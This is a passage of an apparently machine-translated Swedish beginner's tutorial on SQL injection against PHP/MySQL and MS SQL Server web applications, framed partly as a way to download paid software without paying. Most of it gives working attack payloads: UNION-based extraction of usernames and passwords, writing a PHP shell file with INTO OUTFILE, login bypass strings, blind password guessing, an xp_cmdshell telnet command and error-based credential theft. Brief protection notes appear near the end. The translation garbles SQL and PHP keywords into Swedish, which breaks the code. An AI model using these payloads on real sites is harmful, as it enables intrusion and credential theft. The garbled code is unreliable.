sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Läs/skriv filer

För att läsa och skriva filer måste databasanvändaren ha FILE_PRIV-rättigheter.
Inspelning av filer
Faktum är att allt är väldigt enkelt. För att skriva en fil använder vi funktionen UTFIL.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFIL "1.php" --%20
Bra, filen har registrerats hos oss. Således kan vi fylla miniskalet:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO UTFIL "1.php" --%20
Läser filer
Att läsa filer är ännu lättare än att skriva. Det räcker med att helt enkelt använda funktionen LOAD_FILE, för platsen för fältet som vi väljer:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Vi har alltså läst den tidigare skrivna filen.

Skyddsmetoder

Att skydda sig själv är ännu lättare än att utnyttja en sårbarhet. Filtrera bara data. Om du skickar nummer, använd
$id = (int) $_GET["id"];
Som användaren malroc föreslog. Skydda dig själv med PDO eller förberedda uttalanden.

Istället för färdigställande

Det är här jag vill avsluta min första del om "SQL-injektion för nybörjare". I den andra kommer vi att titta på mer allvarliga exempel på injektioner. Försök att skriva sårbara skript och köra frågor själv.
Och kom ihåg, lita inte på någon användare av din webbplats.

Taggar: Lägg till taggar

SQL-injektion en ganska bra möjlighet för en hackare att få
åtkomst till servern. Och med lite ansträngning, han
får det fortfarande :)

Kodare inuti

Numera stöds arbetet med databaser
nästan alla programmeringsspråk, dessa inkluderar BASIC, C++, Java, PERL, PHP, Assembler och till och med JavaScript! Och dessa program kallas inget annat än DBMS - databashanteringssystem. Databaser används ofta för att lösa ekonomiska problem,
redovisning, personalorganisation, men de har även hittat sin applikation på Internet.

Databaser används ofta för att skriva WEB-applikationer. Deras användning är mest lämplig för att lagra användarregistreringsdata, sessionsidentifierare, organisera sökningar, såväl som andra uppgifter som kräver mer bearbetning
mängd data. För att komma åt databasen används serverteknologier: PHP, PERL, ASP, etc. Det är här det roliga börjar. När du är på servern
alla patchar är installerade och brandväggen blockerar alla portar utom port 80 eller när autentisering krävs för att komma åt vissa data kan en hackare använda SQL Injection för att hacka. Kärnan i denna attack är att utnyttja ett fel i skärningspunkten mellan WEB-teknik och SQL. Faktum är att många webbsidor för bearbetning av användardata utgör en speciell SQL databasförfrågan. Slarvig användning av denna teknik kan leda till ganska intressanta resultat...

SQL-injektion

För att förklara attacken, låt oss föreställa oss att du gick till sidan för att ladda ner ett mycket viktigt verktyg och noterade med fasa att bara en registrerad användare kan göra detta, och registrering kostar naturligtvis pengar :) Du vill inte ge bort dina senast intjänade pengar, men du kan inte göra det utan programmet! Det är dags att komma ihåg hur
tillgång till databaser SQL. Om du till exempel kontrollerar ditt användarnamn och lösenord i PHP kan det se ut så här:

$result=mysql_db_query($db,"VÄLJ * FRÅN $table WHERE user="$login" OCH
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($länk);
if ($antal_rader!=0)
{
// AUTENTICERING OK
}
annan
{
// VERIFIERINGSFEL
}

Jag lade till två kommentarer, "AUTENTIKERING OK" - jag borde byta ut den
gå till koden som kommer att köras om lösenordet och inloggningen är korrekta. Ett annat "autentiseringsfel" är en plats där koden som kommer att exekveras om de är felaktiga kommer att beskrivas. Om du fyller i formuläret kommer begäran att se ut som "http://www.server.com?login=user&password=31337", där www.server.com är namnet
servern vi försöker ansluta till. Vi hittade det vi letade efter, och därför kommer vi tillbaka till jobbet igen SQL. Så, om du måste ange en inloggning och lösenord för auktorisering, då genereras SQL begäran kommer att se ut så här:

VÄLJ * FRÅN användare WHERE login="användare" OCH
lösenord="31337"

Detta betyder ungefär så här: returnera till mig alla poster från användardatabasen vars inloggning är "användare" och lösenordet är "31337". Om en sådan post finns så är användaren registrerad, men om inte så inte... Men under vissa omständigheter kan allt korrigeras. Detta hänvisar till situationen när applikationen inte kontrollerar innehållet i de överförda data eller inte kontrollerar det helt för närvaron SQL instruktioner. I det här exemplet är två fält inloggning och lösenord kontrollerade, men om du anger ”31337′ AND email=” som lösenord [e-postskyddad]”(utan dubbla citattecken), då blir frågan lite annorlunda:

VÄLJ * FRÅN användare WHERE login="användare" OCH lösenord="31337" OCH
email=" [e-postskyddad]"

Och om e-postfältet finns kommer även detta villkor att kontrolleras. Om du kommer ihåg grunderna i boolesk algebra, kommer du att tänka på att förutom operationen "och" finns det också ett "eller", och eftersom deras användning stöds av SQL, kan du
på det beskrivna sättet, lägg till ett villkor som alltid returnerar sant. För att göra detta måste du ange "användare" ELLER 1=1—" som inloggning, i vilket fall begäran kommer att ha formen:

VÄLJ * FRÅN användare WHERE login="användare" ELLER 1=1--" OCH
lösenord="31337"

Först bör du veta att "—" betyder slutet på begäran, och allt efter "—"
kommer inte att behandlas! Det visar sig att vi gjorde en begäran:

VÄLJ * FRÅN användare WHERE login="användare" ELLER 1=1

Som du kan se har vi lagt till villkoret "1=1", vilket betyder att verifieringskriteriet kommer att vara "om inloggningen är 'användare' eller 1=1", men 1 är alltid lika med 1 (det enda undantaget kan vara Dani Shepovalovs aritmetik :)). För att testa våra misstankar
Ange "http://www.server.com?login=user or 1=1—&password=31337" i adressfältet. Detta leder till att det inte spelar någon roll vilken inloggning vi angett, men
speciellt lösenordet! Och vi är i matrisen... åh, i systemet och kan lugnt ladda ner det vi behöver.

Men allt detta är i teorin. I praktiken vet vi inte hur begäran bildas, vilka data som överförs och i vilken ordningsföljd. Därför är det nödvändigt att ange "användare" ELLER 1=1—" för alla fält. Du bör också kontrollera inlämningsformuläret för dolda fält. I HTML beskrivs de som " " Om det finns några, spara sidan och ändra värdena för dessa fält. Värdena som finns i dem glöms ofta bort att kontrolleras för närvaron av SQL-satser. Men för att allt ska fungera bör du ange den fullständiga sökvägen till skriptet som behandlar denna begäran i formuläret (taggen "FORM") för parametern "ACTION".

Men det är inte alltid känt hur begäran bildas,
Det föregående exemplet kan utformas på följande sätt:

VÄLJ * FRÅN användare WHERE (login="användare" OCH lösenord="31337")
VÄLJ * FRÅN användare WHERE login="användare" OCH lösenord="31337"
VÄLJ * FRÅN användare WHERE login=användare OCH lösenord=31337

I det här fallet kan du prova följande alternativ:

’ELLER 1=1—
» ELLER 1=1—
ELLER 1=1—
’ ELLER ’a’=’a
"ELLER "a"="a
') ELLER ('a'='a
ELLER '1'='1'

Allt beror på syftet med skriptet och på programmeraren. Eftersom varje person tenderar att göra allt på sitt eget sätt, är det mycket möjligt att programmeraren inte kommer att välja det enklaste alternativet. Därför bör du inte omedelbart
ge upp om du blir avvisad. Nödvändig
prova så många alternativ som möjligt...

Lösenordsdetektering

Att kringgå auktorisering är inte dåligt, men väldigt ofta stängs hålet du använder och allt som var tillgängligt för dig går förlorat.
Detta är att förvänta om programmeraren inte är en idiot
Med tiden kommer det att täppa till alla kryphål. Du kan enkelt bli av med sådana situationer genom att ta hand om det i förväg. Den korrekta lösningen kan vara att gissa lösenordet med hjälp av
analys av autentiseringsresultat. Låt oss först försöka gissa lösenordet, för att göra detta anger du dess plats:

'ELLER lösenord>'a

Om vi ​​får veta att auktoriseringen har godkänts, då lösenordet
börjar inte med bokstaven "a", utan med något av följande på listan. Låt oss gå vidare och ersätta
placera "a", nästa "b", "c", "d", "e"... osv. tills de säger till oss att lösenordet inte är korrekt. Låt denna process stanna vid symbolen "x", i vilket fall två alternativ för utvecklingen av situationen skapas: lösenordet hittas eller lösenordet börjar med denna symbol. För att kontrollera det första alternativet, skriv lösenordsplatsen:

'ELLER lösenord='x

och om lösenordet accepteras och du får komma in, då gissade du lösenordet! Nej, då ska du välja det andra tecknet,
exakt samma, från början. Kontrollera om det finns två tecken
behöver samma. I slutändan kommer du att få ett lösenord, och du kommer att leta efter en inloggning på samma sätt :)
Om det hittade lösenordet och inloggningen inte passar dig kan du hitta andra. För att göra detta måste du börja kontrollera från det sista tecknet i det hittade lösenordet. Så om lösenordet var "xxx", är det nödvändigt att kontrollera existensen av lösenordet
"xxxy":

'ELLER lösenord='xxx

för att inte missa mer än ett alternativ!

MS SQL Server

MS SQL Server är i allmänhet en skänk från ovan om den nödvändiga filtreringen missas. Med hjälp av SQL Injection sårbarheten kan du köra
kommandon på fjärrservern med exec master..xp_cmdshell. Men att använda denna design
SELECT-operationen måste slutföras. I SQL separeras satser med semikolon. Därför, för att ansluta till viss IP via Telnet, måste du ange lösenordet/inloggningsplatsen:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server har flera intressanta funktioner som låter dig ta reda på inloggningar och lösenord lagrade i databasen. För att göra detta omdirigeras felutdata till en godtycklig server och genom dem
analys, kan du ta reda på namnet på tabellen, fält och deras typer. Därefter kan du begära

' UNION SELECT TOP 1 inloggning FRÅN användare—

(inloggning är namnet på fältet som innehåller inloggningen, och användare är namnet på tabellen,
semi-forskare i processen med felanalys).

Svaret kan vara:


Syntaxfel vid konvertering av nvarchar-värdet "admin" to a column of data type int. !}
/default.asp, rad 27

Nu vet vi att det finns en användare som heter "admin". Nu kan vi få hans lösenord:

' UNION SELECT TOP 1-lösenord FRÅN användare där login='admin'—

Resultat:

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "xxx" to a column of data type int. !}
/tedault.asp, rad 27

Nu vet vi att det finns en användare "admin" med lösenordet "xxx". Med detta kan du säkert
använd den och logga in i systemet 😉

Men det finns många andra funktioner för att arbeta med SQL,
När du arbetar med en databas kan du också ta bort data, ändra den, infoga din egen och till och med manipulera filer och arbeta med registret.
I allmänhet reglerar SQL Server :)

Skydd

Men allt detta kan naturligtvis undvikas. För att göra detta kan du
använda filter,
tillhandahålls av tillverkarna. Du kan hitta dina egna lösningar, till exempel att ersätta alla singel
dubbla citattecken (om för SQL begär att vi använder enstaka), eller vice versa. Du kan bara tillåta användning av bokstäver och s@baki, om du behöver gå in
e-postadress. Och i pearl finns en fantastisk
funktionen 🙂 quote() i DBI::DBD-modulen, som framgångsrikt gör din fråga säker med avseende på SQL. Det finns många lösningar, du behöver bara dem
utnyttja. Annars, varför då allt detta...